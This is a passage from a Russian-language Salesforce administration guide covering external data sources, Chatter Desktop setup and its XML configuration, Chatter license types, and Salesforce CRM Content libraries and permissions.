могут содержать другой часовой пояс, который отличается от ожидаемого.

SharePoint 2013

• Многострочные свойства типа «Текст», «URL-адрес», «Дата» и «Выбор (раскрывающийся список)» недоступны для
запроса.

• Выбор раскрывающегося списка невозможен.

3697

Добавление настраиваемых свойств SharePoint в запросы
поиска, SOQL и SOSL

Настройка и обслуживание инструментов сотрудничества



SharePoint Online

• Многострочные свойства типа «Текст», «URL-адрес» и «Дата» недоступны для запроса.

СМ. ТАКЖЕ:

Добавление источника данных Files Connect в глобальный поиск

Определение внешнего источника данных типа «Простой URL-адрес»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения внешнего
источника данных:
• «Настройка

приложения»

Если организация поддерживает Chatter, то система Salesforce может получать доступ к
данным, размещеннымна другом веб-домене, дляихиспользованияна вкладке «Файлы»
и в ленте.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Нажмите кнопку «Создать внешний источник данных». Затем заполните поля
ниже.

ОписаниеПоле

Понятное имя источника данных,
отображаемое в пользовательском
интерфейсе Salesforce.

Метка

Уникальный идентификатор,
используемый для обращения к
определению внешнего источника
данных посредством API. Поле «Имя»
может содержать только буквы, цифры
и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы;

Имя

не может содержать пробелов и двух
последовательных символов
подчеркивания, а также не может
заканчиватьсясимволомподчеркивания.

Выберите значение «Простой
URL-адрес».

Тип

URL-адрес сервера, размещающего
данные вне системы Salesforce, который

URL-адрес

должен начинаться с протокола http://
или https://.

Используетсядля SharePoint® Online®. При
недоступностиметаданныхрекомендуем

Стандартное внешнее хранилище

использовать данное поле для создания
таблиц и их стандартных полей.
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ОписаниеПоле

Выберите значок, позволяющий быстро определять
источник данных в пользовательском интерфейсе
Salesforce.

Сначала определите значок в качестве статического
ресурса в системе Salesforce. Дополнительную

Крупный значок

информацию см. в разделе «Определение статических
ресурсов».

Выберите значок, позволяющий быстро определять
источник данных в пользовательском интерфейсе
Salesforce.

Сначала определите значок в качестве статического
ресурса в системе Salesforce. Дополнительную

Мелкий значок

информацию см. в разделе «Определение статических
ресурсов».

Тип удостоверения, используемый для проверки
подлинности внешнего источника данных.

Выберите значение «Анонимно», предоставляющее
доступ к источнику данных без ввода регистрационных
данных пользователя.

Тип удостоверения

Протокол, необходимыйдлядоступакисточникуданных.

Выберите значение «Нет проверки подлинности».

Протокол проверки подлинности

Прим.: Источники данных типа «Простой URL-адрес» не могут добавляться в глобальныйпоиск, поэтому параметр
«Проверить и синхронизировать» не поддерживается.
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Chatter Desktop

Управление доступом к приложению Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

Поддержка Chatter Desktop включена для большинства организаций, однако доступ к
приложению Chatter Desktop может контролироваться администраторами.

1. Введите строку «Параметры Chatter Desktop» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Параметры Chatter Desktop».

2. Чтобыпредоставитьпользователямдоступкданным Chatter посредствомприложения
Chatter Desktop, установите флажок «Включить Chatter Desktop».

Чтобы заблокировать доступ к странице самостоятельной установки приложения
Chatter Desktop и запретить всем экземплярам Chatter Desktop доступ к данным Chatter,
снимите данныйфлажок.

3. Чтобы разрешить установку приложения Chatter Desktop только администраторам,
установитефлажок «Разрешить установку только управляемой версии приложения
Chatter Desktop».

Например, еслиприложение Chatter Desktop должнобыть развернуто в организации
отделом информационных технологий, установите данныйфлажок.

4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Chatter

Установка управляемой версии приложения Chatter Desktop

Настройка управляемой версии приложения Chatter Desktop
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Установка управляемой версии приложения Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

Salesforce предлагает два способа установки Chatter Desktop: стандартную версию для
самостоятельнойустановкииуправляемуюверсиюдля корпоративногоразвертывания.

Ниже перечислены минимальные требования для использования приложения Chatter
Desktop.

• Windows

– x86-совместимый процессор 2,33 ГГц или лучше/процессор Intel Atom™ 1,6 ГГц
для нетбуков или лучше

– Microsoft® Windows® XP, Windows Server® 2003, Windows Server 2008, Windows Vista®

Home Premium, Business, Ultimate или Enterprise (включая 64-разрядные версии) с
пакетом обновления 2 (SP2) или Windows 7

– 512 МбОЗУ (рекомендуем 1 Гб)

• Mac

– Процессор Intel® Core™ Duo 1,83 ГГц или лучше

– Mac OS X 10.5, 10.6 или 10.7

– 512 МбОЗУ (рекомендуем 1 Гб)

Важное замечание: Для работы приложения Chatter Desktop используется
межплатформенная среда выполнения для настольных приложений Adobe®

Integrated Runtime (AIR®), которая должна поддерживаться установленной
операционнойсистемой. Приложение Chatter Desktop неработает воперационных
системах, которые не поддерживают Adobe AIR (например, 64-разрядная версия
Linux). Дополнительнуюинформациюосредевыполнения Adobe AIR см. навеб-узле
компании Adobe.

Управляемая версияприложения Chatter Desktop поддерживает корпоративноеразвертываниеприложения Chatter Desktop
среди пользователей без полномочий администратора. Ниже перечислены особенности управляемой версии.

• Установка версии AIR, необходимой для развертывания приложения Chatter Desktop, выполняется отделом
информационных технологий только после получения необходимого разрешения от компании Adobe Systems
Incorporated.

• Лицензионное соглашение на использование управляемой версии Chatter Desktop принимается отделом
информационныхтехнологийотименипользователей, для которыхвыполняетсяразвертываниеприложения Chatter
Desktop.

• При первом запуске приложения Chatter Desktop в Chatter ничего автоматически не публикуется.

• Периодическая проверка Salesforce на наличие новых версий не выполняется.

Чтобы установить управляемую версию, выполните указанные ниже действия.

1. Установите приложение Adobe® Integrated Runtime (AIR®) 2.6 или более поздней версии (рекомендуется) на компьютер,
который будет использоваться для работы с приложением Chatter Desktop.

AIR — этомежплатформенная среда выполнения для настольныхприложенийот компании Adobe, которая требуется
для установки приложения Chatter Desktop.

Совет: Прежде чем установить AIR, изучите информацию, доступную по указанным ниже ссылкам.

• Общие сведения о приложении AIR®:
http://www.adobe.com/devnet/air/articles/distributing_air_in_enterprise.html
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• Сведения о получении лицензии на установку приложения AIR® от компании Adobe Systems Incorporated:
http://www.adobe.com/products/air/runtime_distribution1.html

• Сведения об установке:
http://help.adobe.com/en_US/air/redist/WS485a42d56cd19641-70d979a8124ef20a34b-8000.html

• Сведения об управлении:
http://help.adobe.com/en_US/air/admin/WS485a42d56cd1964167ea49bd124ef17d52a-8000.html

2. Введите строку «Параметры Chatter Desktop» в поле «Быстрый поиск» вменю «Настройка» и выберитепункт
«Параметры Chatter Desktop».

3. Щелкните ссылку для загрузки управляемой версии.

Важное замечание: Для предварительного просмотра PDF-файлов Chatter Desktop использует приложение Adobe®

Acrobat® Reader. Прежде чем использовать Chatter Desktop для предварительного просмотра файлов, установите
приложение Adobe Acrobat с веб-сайта компании Adobe и запустите его как минимум один раз.

СМ. ТАКЖЕ:

Управление доступом к приложению Chatter Desktop

Настройка управляемой версии приложения Chatter Desktop

Настройка управляемой версии приложения Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

Контрольпараметровприложения Chatter Desktop осуществляетсяпутемразвертывания
файла конфигурации XML на компьютере каждого пользователя. Конфигурация,
используемая в файле, переопределяет параметры пользователя.

1. Создайте файл .chatterdesktop, а затем добавьте родительский элемент
chatterdesktop и два дочерних элемента config и servers.

2. Для элементов config создайте дочерние элементы, перечисленные в данной
таблице, идобавьтеатрибуты default и editable. Обаатрибутамогутпринимать
значения true или false.

Чтобысделатьдочернийэлементнастройкойпоумолчанию, установитедляатрибута
default значение true. Чтобы пользователи могли изменить настройку по
умолчанию с помощью пользовательского интерфейса, установите для атрибута
editable значение true.

ОписаниеДочерний элемент

Вход в приложение при запуске.launchOnStartup

Сворачивание приложения при выходе.minimizeOnClose

Включение всплывающих уведомлений.notifications

Включение предупреждений для новых
сообщенийи комментариев лентыпутем

criticalAlerts

выделения значкапанелизадач (Windows)
или анимирования значка приложения
(Mac OS).
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ОписаниеДочерний элемент

Отображение приложения Chatter Desktop поверх других
окон для новых сообщений и комментариев ленты.

bringToForeground

Отображение приложения Chatter Desktop только поверх
других окон

alwaysOnTop

Отображение окна чата поверх других окон при запуске
нового чата (только для Mac).

chatWindowToForeground

Проигрывание звуковых уведомлений для новых чатов.chatSoundEnabled

Проигрывание звуковых уведомлений для всех чатов.playSoundForEveryMessage

Прим.: Если атрибуту default задано значение true для дочернего элемента chatSoundEnabled и
значение false для дочернего элемента playSoundForEveryMessage, то звуковые уведомления
проигрываются только для новых чатов. При использовании значения true для обоих дочерних элементов
звуковые уведомления проигрываются для каждого чата. При использовании значения false для обоих
дочерних элементов звуковые уведомления не проигрываются.

3. Еслиорганизацияиспользуетлюбойдругойэкземпляр Salesforce, кроме Production и Sandbox, укажите сервера, которые
размещают эти экземпляры в отдельных элементах server внутри элемента servers.

Добавьте перечисленные ниже атрибуты в каждый элемент server.

• label: имя подключения, которое должно отображаться в пользовательском интерфейсе.

• serverUrl: URL-адрес, используемыйдлявходавэкземпляр. URL-адресдолженначинатьсяскомпонента https://
и заканчиваться компонентом salesforce.com или chatter.com. Например, европейское подразделение
организации использует следующий адрес входа: https://emea.salesforce.com. Чтобы добавить новое
подключение, введите данный URL-адрес и укажите имя «Европа».

• defaultServer: привыборезначения TRUE приложениеChatter Desktopпоумолчаниюподключаетсякданному
экземпляру.

4. При необходимости протестируйте файл конфигурации .chatterdesktop.

a. Скопируйте файл конфигурации .chatterdesktop в каталог пользователей на персональном компьютере.
Каталоги пользователей:

• Windows — c:\Documents and Settings\<имя_пользователя>  (Windows XP) или
C:\Users\<имя_пользователя>  (Windows 7)

• Mac OS — /Users/<имя_пользователя>

• Linux — /home/<имя_пользователя>

b. Запустите приложение Chatter Desktop и убедитесь в его корректной работе. Дополнительную информацию о
возможных ошибках см. в разделе «Устранение неполадок Chatter Desktop».

5. Скопируйтефайл .chatterdesktop в каталогпользователейна всехперсональныхкомпьютерах, где установлено
приложение Chatter Desktop.
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Пример: Ниже приведен пример файла конфигурации.

<chatterdesktop>

<config>

<launchOnStartup default="false"

editable="false"/>

<minimizeOnClose default="false"

editable="true"/>

<notifications default="true"

editable="true"/>

<criticalAlerts default="false"

editable="true"/>

<bringToForeground default="false"

editable="true"/>

<alwaysOnTop default="false"

editable="false"/>

<chatWindowToForeground default="false"

editable="false"/>

<chatSoundEnabled default="true"

editable="true"/>

<playSoundForEveryMessage default="true"

editable="true"/>

</config>

<servers>

<server label="Europe"

serverUrl="https://emea.salesforce.com"

defaultServer="true"/>

<server label="Production"

serverUrl="https://login.salesforce.com"

defaultServer="false"/>

</servers>

</chatterdesktop>

СМ. ТАКЖЕ:

Управление доступом к приложению Chatter Desktop

Установка управляемой версии приложения Chatter Desktop
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Лицензии Chatter

Лицензии пользователя Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Лицензии Chatter External
и Chatter Free доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Лицензии Chatter Only (или
Chatter Plus) доступны в
версиях: Professional
Edition, Enterprise Edition,
Unlimited Edition и
Performance Edition.

Все стандартные лицензии Salesforce включают в себя бесплатный доступ к Chatter для
всех пользователей в организации. Salesforce также предлагает ряд лицензий, которые
включают в себя толькофункции Chatter: Chatter External, Chatter Free и Chatter Only (также
известен как Chatter Plus).

Chatter External
Лицензияпредназначенадляпользователей, находящихсязапределамикорпоративного
домена электронной почты. Такие пользователи (клиенты) могут быть приглашены в
соответствующие группы Chatter. Клиенты могут просматривать сведения и
взаимодействовать спользователямитолько тех групп, в которыеониприглашены. Они
не могут просматривать данные и объекты Chatter.

Chatter Free
Лицензия Chatter Free предназначается пользователям, которым недоступны лицензии
Salesforce, но требуется доступ к Chatter. Данные пользователи могут просматривать
стандартныеэлементы Chatter (например, люди, профили, группыифайлы), нонемогут
просматривать данные и объекты Salesforce. Пользователи Chatter Free могут быть
модераторами Chatter.

В отличие от других пользователей Salesforce, пользователям Chatter Free не доступны
вкладки. Пользователи Chatter Free могут просматривать ленты, группы, файлы и людей Chatter посредством ссылок на
боковой панели страницы.

Лицензия Chatter Free может быть в любое время преобразована в стандартную лицензию Salesforce или Chatter Only.
Стандартная лицензия Salesforce или Chatter Only не может быть преобразована в лицензию Chatter Free.

Chatter Only (Chatter Plus)
Лицензия Chatter Only такжеизвестна как лицензия Chatter Plus. Даннаялицензияпредназначаетсяпользователям, которым
недоступны лицензии Salesforce, но требуется доступ к Chatter и некоторым объектам Salesforce. Пользователи Chatter Plus
могутбытьмодераторами Chatter ипросматривать стандартныеэлементы Chatter (страницыучастников, профили, группы
и файлы) Также им доступны указанные ниже действия.

• Просмотр организаций и контактов Salesforce

• Использование Salesforce CRM Content, «Идеи» и «Ответы»

• Доступ к отчетам и панелям мониторинга

• Использование и утверждение бизнес-правил

• Использование календаря для создания и отслеживания действий

• Просмотр и изменение не более 10 настраиваемых объектов

• Добавление записей в группы
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Поумолчаниюстандартныеобъекты Salesforce скрытыдляпользователей Chatter Plus. Чтобыотобразитьих, предоставьте
пользователям Chatter Plus доступ к соответствующим вкладкам. Дополнительнуюинформациюопользователях Chatter
Plus см. в документе «Chatter Plus. Вопросы и ответы».

Общие сведения о лицензиях Chatter
В данной таблице перечисленыфункции, доступные владельцам лицензий Chatter External, Chatter Free и Chatter Only.

Chatter Only

(или Chatter Plus)

Chatter FreeChatter External

(Доступ ограничивается
элементами и
пользователями групп, в
которые приглашены
клиенты.)

Функция

Клиент Chatter Desktop

Пользователямзагружаемых
приложений недоступны

Использованиемобильного
приложения Salesforce1

(Загружаемые приложения
требуют наличия списковые представления

«Группы» и «Люди».полномочия профиля «API
включен».)

Ленты

Предоставление общего
доступа к файлам

Группы

Только клиенты,
являющиеся менеджерами

Приглашения на участие в
группах

групп, могут приглашать
пользователей Chatter из
доступных групп или
внешних пользователей
Chatter.

Профили

Темы и хэштеги

Личные сообщения

Результатыпоиска содержат
только элементы, доступные
клиентампосредствомгрупп.

Глобальный поиск
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Chatter Only

(или Chatter Plus)

Chatter FreeChatter External

(Доступ ограничивается
элементами и
пользователями групп, в
которые приглашены
клиенты.)

Функция

Не более 10 настраиваемых
объектов

Настраиваемые объекты

Только для чтения

Организации и контакты

Календарь и события

Библиотека Salesforce CRM
Content

Идеи и ответы

Отчеты и панели
мониторинга

Задачи и действия

Использование и
утверждение бизнес-правил

Salesforce CRM Content

Начальная настройка Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Управление полномочиями содержимого»

ИЛИ

«Управление Salesforce CRM Content»

Для создания, редактирования или удаления
полномочий библиотеки:

«Управление типами записей и макетами
файлов»

ИЛИ

«Управление Salesforce CRM Content»

Чтобы создавать, изменить или удалять
макеты страниц и типы записей, следуйте
приведенным ниже инструкциям.

«Управление свойствами содержимого»

ИЛИ

Для создания полей содержимого:
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«Управление Salesforce CRM Content»

«Создание библиотек»

ИЛИ

Для создания библиотек:

«Управление Salesforce CRM Content»

«Управление Salesforce CRM Content»Для редактирования или удаления библиотек:

Чтобыначатьиспользоватьбиблиотекисодержимого, требуетсянастроить Salesforce CRM Content. Функция Salesforce CRM
Content доступна только в Salesforce Classic, однако еслифункция Salesforce CRM Content включена для вашей организации,
файлы из библиотек содержимого также будут доступны в Lightning Experience.

Чтобы настроить Salesforce CRM Content для организации, выполните указанные ниже действия.

1. Включите приложение Salesforce CRM Content в меню «Настройка»: введите «Salesforce CRM Content» в поле
«Быстрый поиск» и выберите «Salesforce CRM Content», а затем «Включить Salesforce CRM Content».

2. Чтобы предоставить пользователям доступ к Salesforce CRM Content, назначьте лицензии на компоненты одним из
указанных ниже способов.

• Чтобыавтоматическиназначатьпользователямлицензиина компоненты, введите Salesforce CRM Content
в поле «Быстрый поиск», выберите Salesforce CRM Content, а затем «Автоматически назначать лицензии на
компоненты текущим и новым пользователям».

• Чтобы вручную назначать лицензии на компоненты пользователям, введите «Пользователи» в поле «Быстрый
поиск», затем выберите «Пользователи» ищелкните ссылку «Редактировать» рядом с именем пользователя.
Установите флажок «Пользователь Salesforce CRM Content» и нажмите кнопку «Сохранить».

3. Убедитесь, что пользователям Salesforce CRM Content предоставленыполномочия Salesforce CRM Content. Полномочия
пользователявключаютвсебя «УправлениеSalesforce CRM Content», «Созданиебиблиотек», «Управлениеполномочиями
содержимого», «Управлениесвойствамисодержимого», «Управлениетипамизаписейимакетамифайлов» и «Доставить
загруженные файлы и личное содержимое».

Прим.: Пользователи с полномочием «Доставить загруженные файлы и личное содержимое» могут создавать
доставки содержимого из личных библиотек. Данное полномочие не влияет на возможность доставки
содержимого из общедоступных библиотек.

4. При необходимости создайте общедоступную группу пользователей Salesforce CRM Content. В будущем это поможет
сэкономить время, так как назначение группы выполняется быстрее, чем назначение отдельных пользователей.

5. Принеобходимостисоздайтеполномочиябиблиотеки. Полномочиябиблиотеки — этонаборыпривилегий, которые
определяют уровнидоступапользователей к библиотеке. Полномочиебиблиотекидолжнобытьназначено каждому
пользователю до начала ее использования. Всем новым организациям назначаются три полномочия библиотеки:
администратор библиотеки, автор и гость.

6. Чтобы создать библиотеку, добавить участников и назначить им полномочия, воспользуйтесь мастером создания
библиотек.

7. Чтобы классифицировать и определить содержимое, выполните указанные ниже действия.

a. Создайтеполя содержимого. Данныенастраиваемыеполяназначаютсямакету страницы. Поумолчаниюдоступны
следующиеполя: «Описание», «Теги» и «Заголовок». Например, настраиваемоеполесодержимого «Проверено»
может представлять собой раскрывающийся список имен возможных проверяющих.
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b. Создайте настраиваемыймакет страницыилиизменитемакет по умолчанию. Макеты страниц — это контейнеры
для настраиваемых полей. Ониопределяют поля, доступные во время публикации, а также способы отображения
полейнастраницесведенийосодержимом. Можносоздатьнесколькомакетовстраницитиповзаписейиназначить
поле содержимого для всех макетов или некоторых из них. Например, для пользователей приложений Sales и
Marketing, которым требуется записывать разные сведения о содержимом, можно создать макеты страниц и типы
записей Sales и Marketing. Так, поле поиска «Связанная кампания», добавленное только для макета страницы и
типа записи Marketing, недоступно пользователям, выбравшим во время загрузки тип записи Sales.

8. При необходимости включите службу «Добавление документов Google в систему Salesforce», чтобы участники
библиотеки могли добавлять документы Google в Salesforce CRM Content.

Советы по внедрению
• Прежде чем создать библиотеки, просмотрите файлы, которые должны храниться в Salesforce CRM Content, чтобы

определить нужное количество библиотек и относящееся к ним содержимое. Уровень доступа пользователей к
содержимому определяется библиотекой.

• ПриналичиибольшогоколичествапользователейSalesforce CRM Contentрекомендуемсоздатьобщедоступнуюгруппу
и добавить ее в библиотеку, а не добавлять пользователей по отдельности.

• Чтобывключитьфункцию Salesforce CRM Content для интересов, организаций, контактов, возможностей, обращений,
продуктов или настраиваемых объектов, добавьте связанный список «Связанное содержимое» в соответствующий
макет страницы.

• Чтобы отправить коллегам, интересам или контактам веб-содержимое и связать его с записями Salesforce, добавьте
связанный список «Доставки содержимого» в макет страницы для интересов, организаций, контактов, возможностей,
обращений, кампаний или настраиваемых объектов.

• Чтобыразрешитьпользователямпубликовать, изменятьиискать данныеналюбомязыке, поддерживаемомсистемой
Salesforce, введите «Salesforce CRM Content» в поле «Быстрый поиск» в меню «Настройка», выберите
«Salesforce CRM Content» ищелкните ссылку «Включить многоязычный поиск и внесение данных».

• Чтобы связывать документы Google с библиотекой, включите службу «Добавление документов Google в систему
Salesforce».

• Приложение Salesforce CRM Content доступно на клиентском и партнерском порталах.

• Все элементы Salesforce CRM Content отображаются на консоли Salesforce в виде основных вкладок.

Рекомендации
• Прииспользованиисвязанногосписка «Связанноесодержимое» объектовSalesforceрекомендуемзадатьнастраиваемые

поля содержимого в соответствии со стандартными и настраиваемыми полями объекта. Данное действие позволит
повысить точность результатов поиска, выполненного с помощьюкнопки «Найти содержимое». Чтобы сопоставить
содержимое сполями записиипросмотретьрезультатыпоиска, содержащие связанное содержимое, нажмите кнопку
«Найти содержимое» в связанном списке.

• Чтобы гарантировать правильную классификацию содержимого, определите имена тегов, действительные для всех
авторов. Теги, заданные пользователем изначально, позволяют избежать возможных повторов в пределах одной
библиотеки (например, «канал» и «каналы»).

• Рекомендуемиспользоватьнебольшоеколичествотегов. Механизмпоискапомогаетнаходитьконкретноесодержимое,
а теги позволяют просматривать содержимое и подписываться на него. Таким образом, большое количество тегов
может создавать дополнительные неудобства во время работы.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.
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• Теги нечувствительны к регистру. Запрещается использовать два одинаковых имени тега, даже если их начальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

• Содержимое, помеченное на странице сведений в качестве специального, считается важным, имеет более высокий
приоритет в результатах поиска и отображается на вкладке «Библиотеки». Содержимое может помечаться в качестве
специального только при наличии полномочия библиотеки «Пометить содержимое как специальное».

• Еслиорганизацияиспользует службу «Документы Google», то участникибиблиотекимогутдобавлять своидокументы
Google в библиотеку. В результате добавления документов Google в Salesforce CRM Content пользователи получают
доступ к содержимому всех типов и могут применять функции Salesforce CRM Content (например, голосование,
комментарии и подписки) к документам Google.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Content

Настройка доставок содержимого

Настройка Salesforce CRM Content для приложения Salesforce Classic Mobile
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Настройка содержимого

Настройка Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления полей
содержимого:
• «Управление свойствами

содержимого»

ИЛИ

«Управление Salesforce
CRM Content»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

Для создания,
редактирования или
удаления полномочий
библиотеки:
• «Управление

полномочиями
содержимого»

ИЛИ

«Управление Salesforce
CRM Content»

Для изменения параметров
содержимого:
• «Управление Salesforce

CRM Content»

Введите строку «Salesforce CRM Content» в поле «Быстрый поиск» в меню
«Настройка» ивыберите «Salesforce CRM Content», чтобыполучитьдоступкпараметрам
настройки Salesforce CRM Content.

Совет: Дополнительную информацию о начальной настройке Salesforce CRM
Content см. вразделе «Начальнаянастройка Salesforce CRM Content»на странице3707.

• «Полясодержимого»: создание, редактированиеилиудалениенастраиваемыхполей
содержимого. Настраиваемые поля позволяют систематизировать и определять
содержимое во время публикации.

• «Правила проверки»: создание, редактирование или удаление правил проверки.
Правила проверки позволяют проверить соответствие данных, введенных
пользователем во время публикации содержимого, выбранным стандартам.

• «Полномочиябиблиотеки»: создание, редактированиеили удаление полномочий
библиотеки. Полномочие библиотеки определяет привилегии пользователя в
пределах отдельной библиотеки.

• «Параметры»: изменение стандартных параметров Salesforce CRM Content для
многоязычнойподдержки, загрузки PDF-файлов, созданияпакетов содержимогоили
использования средства расширенного просмотра документов.

СМ. ТАКЖЕ:

Начальная настройка Salesforce CRM Content
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Настройка полей содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления настраиваемых
полей:
• «Управление Salesforce

CRM Content»

ИЛИ

«Управление свойствами
содержимого»

Чтобы создать, изменить или удалить настраиваемые поля Salesforce CRM Content,
предназначенные для категоризации и определения содержимого, перейдите к
параметрамуправленияобъектамисодержимого. ПрииспользованииLightning Experience
перейдите к разделу «Менеджер объектов», выберите «Версия содержимого» и
прокрутите страницу до области полей. При использовании Salesforce Classic введите
строку «Файлы Salesforce» в поле «Быстрый поиск» и выберите пункт «Поля».
Данные, назначенные этим полям во время загрузки, доступны на странице сведений о
содержимом в течение всего срока существования файла. Созданные настраиваемые
полясодержимогодолжныбытьназначенымакетустраницы. Макетстраницыопределяет
поля, отображаемые при загрузке или изменениифайлов в Salesforce CRM Content.

Чтобы создать настраиваемое поле содержимого, выполните указанные ниже
действия.

1. Нажмите кнопку «Создать».

2. Выберите нужный тип поля и нажмите кнопку «Далее».

3. При использовании полей взаимосвязи свяжите объект с полем и нажмите кнопку
«Далее».

4. Введитеметкуполя. Имяполя заполняется автоматическинаоснове введеннойметки
поля. Данноеимядолжнобыть уникальнымиможет содержать толькобуквы, цифры
и символы подчеркивания. Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания. Убедитесь, что имя настраиваемого поля
отличается от всех имен стандартных полей для этого объекта.

5. Выберите макет страницы, который должен отображать поле как редактируемое.

Чтобы изменить или удалить настраиваемое поле содержимого, щелкните ссылку
«Правка» или «Удал.» в связанном списке «Настраиваемые поля и взаимосвязи:
содержимое». Стандартные поля содержимого недоступны для редактирования и удаления. Удаленные настраиваемые
поля и их данные хранятся в течение 15 дней или до момента удаления самой организацией (в зависимости от того, что
наступит ранее). В течение этого времени удаленные поля и данные могут быть восстановлены.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Content

Поиск по параметрам управления объектами
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Библиотеки

Создание библиотек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания библиотек:
• «Управление Salesforce

CRM Content»

ИЛИ

«Создание библиотек»

Для добавления участников
в библиотеку:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Для назначения участникам
полномочий библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Пользователи могут хранить файлы в библиотеках содержимого и управлять ими,
определяя круг лиц и уровень полномочий для доступа к файлам в каждой библиотеке.
Организация может содержать не более 2 000 библиотек.

Действие 1. Создание библиотеки

1. Нажмите кнопку «Создать» в разделе «Мои библиотеки» на начальной странице
вкладки «Библиотеки».

2. Введите уникальное имя библиотеки.

3. При необходимости добавьте описание.

4. Нажмитекнопку«Сохранитьидобавитьучастников». Чтобыдобавитьучастников
позже, нажмите кнопку «Сохранить и закрыть».

Действие 2. Добавление участников библиотеки

1. Если библиотека закрыта, щелкните ее имя на вкладке «Библиотека».

2. Щелкните ссылку «Пригласить людей» в разделе «Участники».

3. Если добавляемый участник отсутствует в списке, введите имя участника в поле
поиска и нажмите кнопку «Поиск».

4. Выберите нужных участников в поле «Доступные участники». Участниками могут
бытькакотдельныепользователиSalesforce CRM Content, такиобщедоступныегруппы
пользователей Salesforce CRM Content.

Совет: ПриналичиибольшогоколичествапользователейSalesforce CRM Content
рекомендуем создать общедоступную группу и добавить ее в библиотеку, а не
добавлять пользователей по отдельности.

5. Чтобы добавить участников в библиотеку, нажмите кнопку «Добавить».

6. Нажмите кнопку «Далее».

Действие 3. Назначение участникам полномочий библиотеки

Выберите полномочие библиотеки для каждого пользователя или общедоступной
группы и нажмите кнопку «Сохранить». Дополнительную информацию см. в разделе
«Управление полномочиями библиотеки» на странице 3714.
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Управление полномочиями библиотеки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления полномочий
библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

«Управление
полномочиями
содержимого»

Чтобы управлять полномочиямибиблиотеки, введите строку «Полномочия содержимого»
в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Полномочия
содержимого». Полномочие библиотеки — это набор привилегий, назначенных
каждому участнику библиотеки Salesforce CRM Content. Данное полномочие определяет
действия, доступные участнику в отдельной библиотеке. В разных библиотеках одному
и тому же пользователю могут быть предоставлены разные полномочия.

Прим.: Организациям Salesforce CRM Content, созданным после выпуска версии
Spring'09, автоматическиназначаютсятриполномочия: администраторбиблиотеки,
автор и гость.

Чтобы создать настраиваемые полномочия библиотеки, нажмите кнопку «Добавить
полномочиябиблиотеки». Чтобыотредактироватьполномочиебиблиотеки, щелкните
ссылку «Правка» напротив имени нужного полномочия. Чтобы удалить полномочие
библиотеки, щелкните ссылку «Удал.» напротив имени нужного полномочия.

Прим.: Полномочия библиотеки не распространяются на личные библиотеки.
Все пользователи Salesforce CRM Content могут сохранять файлы в своих личных
библиотеках.

СМ. ТАКЖЕ:

Создание библиотек
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Создание полномочий библиотеки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

